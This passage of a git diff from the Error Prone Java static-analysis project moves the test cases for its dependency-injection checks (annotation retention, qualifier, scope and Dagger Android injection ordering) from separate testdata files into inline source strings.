compilationHelper.addSourceFile("testdata/MissingRuntimeRetentionPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "MissingRuntimeRetentionPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import static java.lang.annotation.ElementType.METHOD; + import static java.lang.annotation.ElementType.TYPE; + import static java.lang.annotation.RetentionPolicy.SOURCE; + + import com.google.inject.BindingAnnotation; + import com.google.inject.ScopeAnnotation; + import java.lang.annotation.Retention; + import java.lang.annotation.Target; + import javax.inject.Qualifier; + import javax.inject.Scope; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class MissingRuntimeRetentionPositiveCases { + /** A scoping (@Scope) annotation with SOURCE retention */ + @Scope + @Target({TYPE, METHOD}) + // BUG: Diagnostic contains: @Retention(RUNTIME) + @Retention(SOURCE) + public @interface TestAnnotation1 {} + + /** A scoping (@ScopingAnnotation) annotation with SOURCE retention. */ + @ScopeAnnotation + @Target({TYPE, METHOD}) + // BUG: Diagnostic contains: @Retention(RUNTIME) + @Retention(SOURCE) + public @interface TestAnnotation2 {} + + /** A qualifier (@Qualifier) annotation with SOURCE retention. */ + @Qualifier + @Target({TYPE, METHOD}) + // BUG: Diagnostic contains: @Retention(RUNTIME) + @Retention(SOURCE) + public @interface TestAnnotation3 {} + + /** A qualifier (@BindingAnnotation) annotation with SOURCE retention. */ + @BindingAnnotation + @Target({TYPE, METHOD}) + // BUG: Diagnostic contains: @Retention(RUNTIME) + @Retention(SOURCE) + public @interface TestAnnotation4 {} + + /** A qualifier annotation with default retention. */ + @BindingAnnotation + @Target({TYPE, METHOD}) + // BUG: Diagnostic contains: @Retention(RUNTIME) + public @interface TestAnnotation5 {} + + /** A dagger map key annotation with default retention. */ + @dagger.MapKey + @Target({TYPE, METHOD}) + // BUG: Diagnostic contains: @Retention(RUNTIME) + public @interface TestAnnotation6 {} + + /** A Guice map key annotation with default retention. */ + @com.google.inject.multibindings.MapKey + @Target({TYPE, METHOD}) + // BUG: Diagnostic contains: @Retention(RUNTIME) + public @interface TestAnnotation7 {} + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/MissingRuntimeRetentionNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "MissingRuntimeRetentionNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import static java.lang.annotation.ElementType.METHOD; + import static java.lang.annotation.ElementType.TYPE; + import static java.lang.annotation.RetentionPolicy.RUNTIME; + import static java.lang.annotation.RetentionPolicy.SOURCE; + + import com.google.inject.BindingAnnotation; + import com.google.inject.ScopeAnnotation; + import java.lang.annotation.Retention; + import java.lang.annotation.Target; + import javax.inject.Qualifier; + import javax.inject.Scope; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class MissingRuntimeRetentionNegativeCases { + /** A scoping (@Scope) annotation with runtime retention */ + @Scope + @Target({TYPE, METHOD}) + @Retention(RUNTIME) + public @interface TestAnnotation1 {} + + /** A scoping (@ScopingAnnotation) annotation with runtime retention. */ + @ScopeAnnotation + @Target({TYPE, METHOD}) + @Retention(RUNTIME) + public @interface TestAnnotation2 {} + + /** A qualifier (@Qualifier) annotation with runtime retention. */ + @Qualifier + @Target({TYPE, METHOD}) + @Retention(RUNTIME) + public @interface TestAnnotation3 {} + + /** A qualifier (@BindingAnnotation) annotation with runtime retention. */ + @BindingAnnotation + @Target({TYPE, METHOD}) + @Retention(RUNTIME) + public @interface TestAnnotation4 {} + + /** A non-qualifier, non-scoping annotation without runtime retention. */ + @Retention(SOURCE) + public @interface TestAnnotation5 {} + + /** A dagger map key annotation. */ + @dagger.MapKey + @Retention(RUNTIME) + public @interface TestAnnotation6 {} + + /** A Guice map key annotation. */ + @com.google.inject.multibindings.MapKey + @Retention(RUNTIME) + public @interface TestAnnotation7 {} + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneInjectableConstructorTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneInjectableConstructorTest.java index 5f2c82ae0a1..39d90192e69 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneInjectableConstructorTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneInjectableConstructorTest.java @@ -33,14 +33,146 @@ public class MoreThanOneInjectableConstructorTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/MoreThanOneInjectableConstructorPositiveCases.java") + .addSourceLines( + "MoreThanOneInjectableConstructorPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import com.google.inject.Inject; +import java.beans.ConstructorProperties; + +/** + * @author sgoldfeder@google.com(Steven Goldfeder) + */ +public class MoreThanOneInjectableConstructorPositiveCases { + + /** Class has 2 constructors, both are injectable */ + // BUG: Diagnostic contains: MoreThanOneInjectableConstructor + public class TestClass1 { + @Inject + public TestClass1() {} + + @Inject + public TestClass1(int n) {} + } + + /** Class has 3 constructors, two of which are injectable. */ + // BUG: Diagnostic contains: MoreThanOneInjectableConstructor + public class TestClass2 { + @Inject + public TestClass2() {} + + public TestClass2(int n) {} + + @Inject + public TestClass2(String s) {} + } + + /** + * testing that the error appears on the @Inject annotation even in the presence of other + * annotations + */ + // BUG: Diagnostic contains: MoreThanOneInjectableConstructor + public class TestClass3 { + @Inject + public TestClass3() {} + + @Inject + @ConstructorProperties({"m", "n"}) + public TestClass3(int m, int n) {} + } + + /** Fails on 3 constructors w/ @Inject */ + // BUG: Diagnostic contains: MoreThanOneInjectableConstructor + public class TestClass4 { + @Inject + public TestClass4() {} + + @Inject + public TestClass4(int m, int n) {} + + @Inject + public TestClass4(int m, int n, boolean x) {} + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/MoreThanOneInjectableConstructorNegativeCases.java") + .addSourceLines( + "MoreThanOneInjectableConstructorNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import com.google.inject.Inject; + +/** + * @author sgoldfeder@google.com(Steven Goldfeder) + */ +public class MoreThanOneInjectableConstructorNegativeCases { + + /** Class has a single non-injectable constructor. */ + public class TestClass1 { + public TestClass1() {} + } + + /** Class has a single injectable constructor. */ + public class TestClass2 { + @Inject + public TestClass2() {} + } + + /** Class has two constructors, one of which is injectable. */ + public class TestClass3 { + @Inject + public TestClass3() {} + + public TestClass3(int n) {} + } + + /** Class has two constructors, one of which is injectable. Class also has an injectable field. */ + public class TestClass4 { + + @Inject String x; + + @Inject + public TestClass4() {} + + public TestClass4(int n) {} + } + + /** Class has 2 constructors, both are injectable. Error is suppressed. */ + @SuppressWarnings("MoreThanOneInjectableConstructor") + public class TestClass5 { + @Inject + public TestClass5() {} + + @Inject + public TestClass5(int n) {} + } + + /** Suppressed class */ + @SuppressWarnings("inject-constructors") + public class TestClass6 { + @Inject + public TestClass6() {} + + @Inject + public TestClass6(int n) {} + } + + /** Suppressed class */ + @SuppressWarnings("InjectMultipleAtInjectConstructors") + public class TestClass7 { + @Inject + public TestClass7() {} + + @Inject + public TestClass7(int n) {} + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneQualifierTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneQualifierTest.java index 5f469c9fd49..b3fe88213cc 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneQualifierTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneQualifierTest.java @@ -32,11 +32,208 @@ public class MoreThanOneQualifierTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/MoreThanOneQualifierPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "MoreThanOneQualifierPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import static java.lang.annotation.RetentionPolicy.RUNTIME; + +import com.google.inject.BindingAnnotation; +import java.lang.annotation.Retention; +import javax.inject.Qualifier; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class MoreThanOneQualifierPositiveCases { + + /** + * A class in which the class, a constructor, a field, a method, and a method parameter each have + * two com.google.inject.BindingAnnotation annotations. + */ + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Foo2 + public class TestClass1 { + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Foo2 + private int n; + + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Foo2 + public TestClass1() {} + + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Foo2 + public void setN( + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Foo2 + int n) {} + } + + /** + * A class in which the class, a constructor, a field, a method, and a method parameter each have + * two javax.inject.Qualifier annotations. + */ + + // BUG: Diagnostic contains: remove + @Bar1 + // BUG: Diagnostic contains: remove + @Bar2 + public class TestClass2 { + // BUG: Diagnostic contains: remove + @Bar1 + // BUG: Diagnostic contains: remove + @Bar2 + private int n; + + // BUG: Diagnostic contains: remove + @Bar1 + // BUG: Diagnostic contains: remove + @Bar2 + public TestClass2() {} + + // BUG: Diagnostic contains: remove + @Bar1 + // BUG: Diagnostic contains: remove + @Bar2 + public void setN( + // BUG: Diagnostic contains: remove + @Bar1 + // BUG: Diagnostic contains: remove + @Bar2 + int n) {} + } + + /** + * A class in which the class, a constructor, a field, a method, and a method parameter each have + * one javax.inject.Qualifier annotation and one com.google.inject.BindingAnnotation annotation. + */ + + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Bar1 + public class TestClass3 { + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Bar1 + private int n; + + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Bar1 + public TestClass3() {} + + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Bar1 + public void setN( + // BUG: Diagnostic contains: remove + @Foo1 + // BUG: Diagnostic contains: remove + @Bar1 + int n) {} + } + + @Qualifier + @Retention(RUNTIME) + public @interface Foo1 {} + + @Qualifier + @Retention(RUNTIME) + public @interface Foo2 {} + + @BindingAnnotation + @Retention(RUNTIME) + public @interface Bar1 {} + + @BindingAnnotation + @Retention(RUNTIME) + public @interface Bar2 {} +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/MoreThanOneQualifierNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "MoreThanOneQualifierNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import static java.lang.annotation.RetentionPolicy.RUNTIME; + +import com.google.inject.BindingAnnotation; +import java.lang.annotation.Retention; +import javax.inject.Qualifier; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class MoreThanOneQualifierNegativeCases { + /** A class in with no annotations on any of its members. */ + public class TestClass1 { + private int n; + + public TestClass1() {} + + public void setN(int n) {} + } + + /** + * A class in which a single javax.inject.Qualifier annotation is on the class, on a constructor, + * on a field, on a method, and on a method parameter. + */ + @Foo + public class TestClass2 { + @Foo private int n; + + @Foo + public TestClass2() {} + + @Foo + public void setN(@Foo int n) {} + } + + /** + * A class in which a single com.google.inject.BindingAnnotation annotation is on the class, on a + * constructor, on a field, on a method, and on a method parameter. + */ + @Bar + public class TestClass3 { + @Bar private int n; + + @Bar + public TestClass3() {} + + @Bar + public void setN(@Bar int n) {} + } + + @Qualifier + @Retention(RUNTIME) + public @interface Foo {} + + @BindingAnnotation + @Retention(RUNTIME) + public @interface Bar {} +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneScopeAnnotationOnClassTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneScopeAnnotationOnClassTest.java index 2773fb358cf..c95f88568f9 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneScopeAnnotationOnClassTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/MoreThanOneScopeAnnotationOnClassTest.java @@ -32,14 +32,120 @@ public class MoreThanOneScopeAnnotationOnClassTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/MoreThanOneScopeAnnotationOnClassPositiveCases.java") + .addSourceLines( + "MoreThanOneScopeAnnotationOnClassPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.inject.Singleton; + import com.google.inject.servlet.SessionScoped; + import javax.inject.Scope; + + /** + * @author sgoldfeder@google.com(Steven Goldfeder) + */ + public class MoreThanOneScopeAnnotationOnClassPositiveCases { + + /** Class has two scope annotations */ + @Singleton + @SessionScoped + // BUG: Diagnostic contains: + class TestClass1 {} + + /** Class has three annotations, two of which are scope annotations. */ + @Singleton + @SuppressWarnings("foo") + @SessionScoped + // BUG: Diagnostic contains: + class TestClass2 {} + + @Scope + @interface CustomScope {} + + @Singleton + @CustomScope + @SessionScoped + // BUG: Diagnostic contains: + class TestClass3 {} + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/MoreThanOneScopeAnnotationOnClassNegativeCases.java") + .addSourceLines( + "MoreThanOneScopeAnnotationOnClassNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import com.google.inject.Provides; +import com.google.inject.Singleton; +import com.google.inject.servlet.SessionScoped; +import dagger.Component; +import dagger.Subcomponent; +import dagger.producers.ProductionComponent; +import dagger.producers.ProductionSubcomponent; + +/** + * @author sgoldfeder@google.com(Steven Goldfeder) + */ +public class MoreThanOneScopeAnnotationOnClassNegativeCases { + + /** Class has no annotation. */ + public class TestClass1 {} + /** Class has a single non scoping annotation. */ + @SuppressWarnings("foo") + public class TestClass2 {} + + /** Class hasa single scoping annotation. */ + @Singleton + public class TestClass3 {} + + /** Class has two annotations, one of which is a scoping annotation. */ + @Singleton + @SuppressWarnings("foo") + public class TestClass4 {} + + /** + * Class has two annotations, one of which is a scoping annotation. Class also has a method with a + * scoping annotation. + */ + @SuppressWarnings("foo") + public class TestClass5 { + @Singleton + @Provides + public void foo() {} + } + + /** Class has two scoped annotations, but is a Dagger component */ + @Singleton + @SessionScoped + @Component + public class DaggerComponent {} + + /** Class has two scoped annotations, but is a Dagger subcomponent */ + @Singleton + @SessionScoped + @Subcomponent + public class DaggerSubcomponent {} + + /** Class has two scoped annotations, but is a Dagger component */ + @Singleton + @SessionScoped + @ProductionComponent + public class DaggerProductionComponent {} + + /** Class has two scoped annotations, but is a Dagger subcomponent */ + @Singleton + @SessionScoped + @ProductionSubcomponent + public class DaggerProductionSubcomponent {} + + /** Suppression through secondary name */ + @SuppressWarnings("MoreThanOneScopeAnnotationOnClass") + public class TestClass6 {} +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/OverlappingQualifierAndScopeAnnotationTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/OverlappingQualifierAndScopeAnnotationTest.java index be742c055c8..85f3fd57009 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/OverlappingQualifierAndScopeAnnotationTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/OverlappingQualifierAndScopeAnnotationTest.java @@ -33,14 +33,85 @@ public class OverlappingQualifierAndScopeAnnotationTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/OverlappingQualifierAndScopeAnnotationPositiveCases.java") + .addSourceLines( + "OverlappingQualifierAndScopeAnnotationPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class OverlappingQualifierAndScopeAnnotationPositiveCases { + + @javax.inject.Scope + @javax.inject.Qualifier + // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation + @interface JavaxScopeAndJavaxQualifier {} + + @com.google.inject.ScopeAnnotation + @javax.inject.Qualifier + // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation + @interface GuiceScopeAndJavaxQualifier {} + + @com.google.inject.ScopeAnnotation + @com.google.inject.BindingAnnotation + // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation + @interface GuiceScopeAndGuiceBindingAnnotation {} + + @javax.inject.Scope + @com.google.inject.BindingAnnotation + // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation + @interface JavaxScopeAndGuiceBindingAnnotation {} + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/OverlappingQualifierAndScopeAnnotationNegativeCases.java") + .addSourceLines( + "OverlappingQualifierAndScopeAnnotationNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class OverlappingQualifierAndScopeAnnotationNegativeCases { + + @javax.inject.Scope + @interface MyJavaxScope {} + + @com.google.inject.ScopeAnnotation + @interface MyGuiceScope {} + + @javax.inject.Qualifier + @interface MyJavaxQualifier {} + + @com.google.inject.BindingAnnotation + @interface MyGuiceBindingAnnotation {} + + // suppression tests + @SuppressWarnings("OverlappingQualifierAndScopeAnnotation") + @javax.inject.Scope + @javax.inject.Qualifier + @interface JavaxScopeAndJavaxQualifier {} + + @SuppressWarnings("OverlappingQualifierAndScopeAnnotation") + @com.google.inject.ScopeAnnotation + @javax.inject.Qualifier + @interface GuiceScopeAndJavaxQualifier {} + + @SuppressWarnings("OverlappingQualifierAndScopeAnnotation") + @com.google.inject.ScopeAnnotation + @com.google.inject.BindingAnnotation + @interface GuiceScopeAndGuiceBindingAnnotation {} + + @SuppressWarnings("OverlappingQualifierAndScopeAnnotation") + @javax.inject.Scope + @com.google.inject.BindingAnnotation + @interface JavaxScopeAndGuiceBindingAnnotation {} + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/QualifierWithTypeUseTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/QualifierWithTypeUseTest.java index f106e013eeb..37aae2df01b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/QualifierWithTypeUseTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/QualifierWithTypeUseTest.java @@ -32,11 +32,70 @@ public class QualifierWithTypeUseTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/QualifierWithTypeUsePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "QualifierWithTypeUsePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.inject.BindingAnnotation; + import java.lang.annotation.ElementType; + import java.lang.annotation.Target; + import javax.inject.Qualifier; + + /** Tests for {@code QualifierWithTypeUse} */ + public class QualifierWithTypeUsePositiveCases { + + @Qualifier + // BUG: Diagnostic contains: @Target({CONSTRUCTOR}) + @Target({ElementType.TYPE_USE, ElementType.CONSTRUCTOR}) + @interface Qualifier1 {} + + @Qualifier + // BUG: Diagnostic contains: remove + @Target({ElementType.TYPE_USE, ElementType.TYPE_PARAMETER}) + @interface Qualifier2 {} + + @BindingAnnotation + // BUG: Diagnostic contains: @Target({FIELD}) + @Target({ElementType.FIELD, ElementType.TYPE_USE}) + @interface BindingAnnotation1 {} + + @BindingAnnotation + // BUG: Diagnostic contains: remove + @Target({ElementType.TYPE_USE, ElementType.TYPE_PARAMETER}) + @interface BindingAnnotation2 {} + + @BindingAnnotation + // BUG: Diagnostic contains: remove + @Target(ElementType.TYPE_USE) + @interface BindingAnnotation3 {} + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/QualifierWithTypeUseNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "QualifierWithTypeUseNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import java.lang.annotation.ElementType; + import java.lang.annotation.Target; + import javax.inject.Qualifier; + + /** Tests for {@code QualifierWithTypeUse} */ + public class QualifierWithTypeUseNegativeCases { + + @Qualifier + @Target({ElementType.CONSTRUCTOR}) + @interface Qualifier1 {} + + @Target({ElementType.TYPE_USE, ElementType.TYPE_PARAMETER}) + @interface NotAQualifier {} + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/ScopeAnnotationOnInterfaceOrAbstractClassTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/ScopeAnnotationOnInterfaceOrAbstractClassTest.java index 814af46d419..2929c632eb0 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/ScopeAnnotationOnInterfaceOrAbstractClassTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/ScopeAnnotationOnInterfaceOrAbstractClassTest.java @@ -34,14 +34,82 @@ public class ScopeAnnotationOnInterfaceOrAbstractClassTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/ScopeAnnotationOnInterfaceOrAbstractClassPositiveCases.java") + .addSourceLines( + "ScopeAnnotationOnInterfaceOrAbstractClassPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.testdata; + +import com.google.inject.Singleton; + +/** + * Positive test cases in which a scoping annotation is put on an interface or anabstract class. The + * suggested fix is to remove the scoping annotation. + * + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class ScopeAnnotationOnInterfaceOrAbstractClassPositiveCases { + + /** An abstract class that has scoping annotation. */ + // BUG: Diagnostic contains: remove + @Singleton + public abstract class TestClass1 {} + + /** An interface interface has scoping annotation. */ + // BUG: Diagnostic contains: remove + @Singleton + public interface TestClass2 {} +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ScopeAnnotationOnInterfaceOrAbstractClassNegativeCases.java") + .addSourceLines( + "ScopeAnnotationOnInterfaceOrAbstractClassNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.testdata; + + import com.google.inject.Singleton; + import dagger.Component; + import dagger.Subcomponent; + import javax.inject.Scope; + + /** + * Negative test cases in which scoping annotations are used correctly. + * + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class ScopeAnnotationOnInterfaceOrAbstractClassNegativeCases { + + /** A concrete class that has no scoping annotation. */ + public class TestClass1 {} + + /** An abstract class that has no scoping annotation. */ + public abstract class TestClass2 {} + + /** An interface that has no scoping annotation. */ + public interface TestClass3 {} + + /** A concrete class that has scoping annotation. */ + @Singleton + public class TestClass4 {} + + @Scope + @interface CustomScope {} + + /** A concrete class that has a custom annotation. */ + @CustomScope + public class ClassWithCustomScope {} + + @Component + @Singleton + interface DaggerInterfaceComponent { + @Subcomponent + @CustomScope + abstract class DaggerAbstractClassSubcomponent {} + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/AndroidInjectionBeforeSuperTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/AndroidInjectionBeforeSuperTest.java index 7c29e43287a..e0270ea3b43 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/AndroidInjectionBeforeSuperTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/AndroidInjectionBeforeSuperTest.java @@ -27,27 +27,269 @@ public final class AndroidInjectionBeforeSuperTest { private final CompilationTestHelper compilationHelper = CompilationTestHelper.newInstance(AndroidInjectionBeforeSuper.class, getClass()) - .addSourceFile("testdata/stubs/android/app/Activity.java") - .addSourceFile("testdata/stubs/android/app/Fragment.java") - .addSourceFile("testdata/stubs/android/app/Service.java") - .addSourceFile("testdata/stubs/android/content/Context.java") - .addSourceFile("testdata/stubs/android/content/Intent.java") - .addSourceFile("testdata/stubs/android/os/Bundle.java") - .addSourceFile("testdata/stubs/android/os/IBinder.java"); + .addSourceLines( + "Activity.java", + """ + package android.app; + + public class Activity { + public void onCreate(android.os.Bundle bundle) {} + }""") + .addSourceLines( + "Fragment.java", + """ + package android.app; + + public class Fragment { + public void onAttach(android.app.Activity activity) {} + + public void onAttach(android.content.Context context) {} + }""") + .addSourceLines( + "Service.java", + """ + package android.app; + + public class Service { + public void onCreate() {} + + public android.os.IBinder onBind(android.content.Intent intent) { + return null; + } + }""") + .addSourceLines( + "Context.java", + """ + package android.content; + + public class Context {}""") + .addSourceLines( + "Intent.java", + """ + package android.content; + + public class Intent {}""") + .addSourceLines( + "Bundle.java", + """ + package android.os; + + public class Bundle {}""") + .addSourceLines( + "IBinder.java", + """ + package android.os; + + public interface IBinder {}"""); @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/AndroidInjectionBeforeSuperPositiveCases.java") - .addSourceFile("testdata/AndroidInjection.java") + .addSourceLines( + "AndroidInjectionBeforeSuperPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.dagger.testdata; + + import android.app.Activity; + import android.app.Fragment; + import android.app.Service; + import android.content.Context; + import android.content.Intent; + import android.os.Bundle; + import android.os.IBinder; + import dagger.android.AndroidInjection; + + final class AndroidInjectionBeforeSuperPositiveCases { + public class WrongOrder extends Activity { + @Override + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + // BUG: Diagnostic contains: AndroidInjectionBeforeSuper + AndroidInjection.inject(this); + } + } + + public class StatementsInBetween extends Activity { + @Override + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + System.out.println("hello, world"); + // BUG: Diagnostic contains: AndroidInjectionBeforeSuper + AndroidInjection.inject(this); + } + } + + public static class BaseActivity extends Activity {} + + public class ExtendsBase extends BaseActivity { + @Override + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + // BUG: Diagnostic contains: AndroidInjectionBeforeSuper + AndroidInjection.inject(this); + } + } + + public class WrongOrderFragmentPreApi23 extends Fragment { + @Override + public void onAttach(Activity activity) { + super.onAttach(activity); + // BUG: Diagnostic contains: AndroidInjectionBeforeSuper + AndroidInjection.inject(this); + } + } + + public class WrongOrderFragment extends Fragment { + @Override + public void onAttach(Context context) { + super.onAttach(context); + // BUG: Diagnostic contains: AndroidInjectionBeforeSuper + AndroidInjection.inject(this); + } + } + + public class WrongOrderService extends Service { + @Override + public void onCreate() { + super.onCreate(); + // BUG: Diagnostic contains: AndroidInjectionBeforeSuper + AndroidInjection.inject(this); + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + } + }""") + .addSourceLines( + "AndroidInjection.java", + """ +package dagger.android; + +import android.app.Activity; +import android.app.Fragment; +import android.app.Service; + +/** + * Stub class for {@code dagger.android.AndroidInjection}. ErrorProne isn't an Android project and + * can't depend on an {@code .aar} in Maven, so this is provided as a stub for testing. + */ +public final class AndroidInjection { + public static void inject(Activity activity) {} + + public static void inject(Fragment fragment) {} + + public static void inject(Service service) {} +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/AndroidInjectionBeforeSuperNegativeCases.java") - .addSourceFile("testdata/AndroidInjection.java") + .addSourceLines( + "AndroidInjectionBeforeSuperNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.dagger.testdata; + + import android.app.Activity; + import android.app.Fragment; + import android.app.Service; + import android.content.Intent; + import android.os.Bundle; + import android.os.IBinder; + import dagger.android.AndroidInjection; + + final class AndroidInjectionBeforeSuperNegativeCases { + public class CorrectOrder extends Activity { + @Override + public void onCreate(Bundle savedInstanceState) { + AndroidInjection.inject(this); + super.onCreate(savedInstanceState); + } + } + + public class StatementsInBetween extends Activity { + @Override + public void onCreate(Bundle savedInstanceState) { + AndroidInjection.inject(this); + System.out.println("hello, world"); + super.onCreate(savedInstanceState); + } + } + + public static class BaseActivity extends Activity {} + + public class ExtendsBase extends BaseActivity { + @Override + public void onCreate(Bundle savedInstanceState) { + AndroidInjection.inject(this); + super.onCreate(savedInstanceState); + } + } + + public static class Foo { + public void onCreate(Bundle bundle) {} + } + + public class FooActivity extends Activity { + @Override + public void onCreate(Bundle savedInstanceState) { + new Foo().onCreate(savedInstanceState); + AndroidInjection.inject(this); + super.onCreate(savedInstanceState); + } + } + + public abstract class ActivityWithAbstractOnCreate extends Activity { + @Override + public void onCreate(Bundle savedInstanceState) {} + + public abstract void onCreate(Bundle savedInstanceState, boolean bar); + } + + public class CorrectOrderFragment extends Fragment { + @Override + public void onAttach(Activity activity) { + AndroidInjection.inject(this); + super.onAttach(activity); + } + } + + public class CorrectOrderService extends Service { + @Override + public void onCreate() { + AndroidInjection.inject(this); + super.onCreate(); + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + } + }""") + .addSourceLines( + "AndroidInjection.java", + """ +package dagger.android; + +import android.app.Activity; +import android.app.Fragment; +import android.app.Service; + +/** + * Stub class for {@code dagger.android.AndroidInjection}. ErrorProne isn't an Android project and + * can't depend on an {@code .aar} in Maven, so this is provided as a stub for testing. + */ +public final class AndroidInjection { + public static void inject(Activity activity) {} + + public static void inject(Fragment fragment) {} + + public static void inject(Service service) {} +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjection.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjection.java deleted file mode 100644 index 28fcf7bf260..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjection.java +++ /dev/null @@ -1,33 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package dagger.android; - -import 